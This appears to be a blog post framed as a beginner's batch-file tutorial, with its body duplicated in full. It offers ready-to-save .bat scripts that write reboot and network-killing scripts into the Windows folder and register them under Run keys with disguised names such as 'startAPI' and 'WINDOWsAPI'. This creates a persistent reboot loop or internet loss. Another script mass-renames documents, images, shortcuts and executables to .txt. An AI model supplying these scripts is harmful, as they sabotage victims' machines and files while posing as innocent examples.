Today I'll tell About Batch File Programming.
Batch programming (or command line programming) has come a long way since early 1980's. More and more commands have been added throughout Windows operating systems DOS/9x/2000/XP/vista. Working with vista offers a lot of versatility when programming batch scripts. Popular user made programs that only tech guys had access to, are now integrated into the Windows Vista operating system. This operating system not only has added a lot of nice commands for basic operation of the command shell, but has continually improved their batch commands and increase functionality and reliability.
Hare Are some Batch File Program Example bellow.
Shut down your pc to batch file code (save as auto shut down.bat)
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo i m going to shut down.
PAUSE
Change inactive file as Txt(save as txtrename.bat)
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
Disable internet permanently(save as disnet.bat)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo Your net is blocked!
PAUSE
Temporarily disable internet(save as to Disabletnet.bat)
ipconfig /release
Thanks For Reading !
Batch programming (or command line programming) has come a long way since early 1980's. More and more commands have been added throughout Windows operating systems DOS/9x/2000/XP/vista. Working with vista offers a lot of versatility when programming batch scripts. Popular user made programs that only tech guys had access to, are now integrated into the Windows Vista operating system. This operating system not only has added a lot of nice commands for basic operation of the command shell, but has continually improved their batch commands and increase functionality and reliability.
Hare Are some Batch File Program Example bellow.
Shut down your pc to batch file code (save as auto shut down.bat)
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo i m going to shut down.
PAUSE
Change inactive file as Txt(save as txtrename.bat)
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
Disable internet permanently(save as disnet.bat)
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo Your net is blocked!
PAUSE
Temporarily disable internet(save as to Disabletnet.bat)
ipconfig /release
Thanks For Reading !
0 Comments:
Post a Comment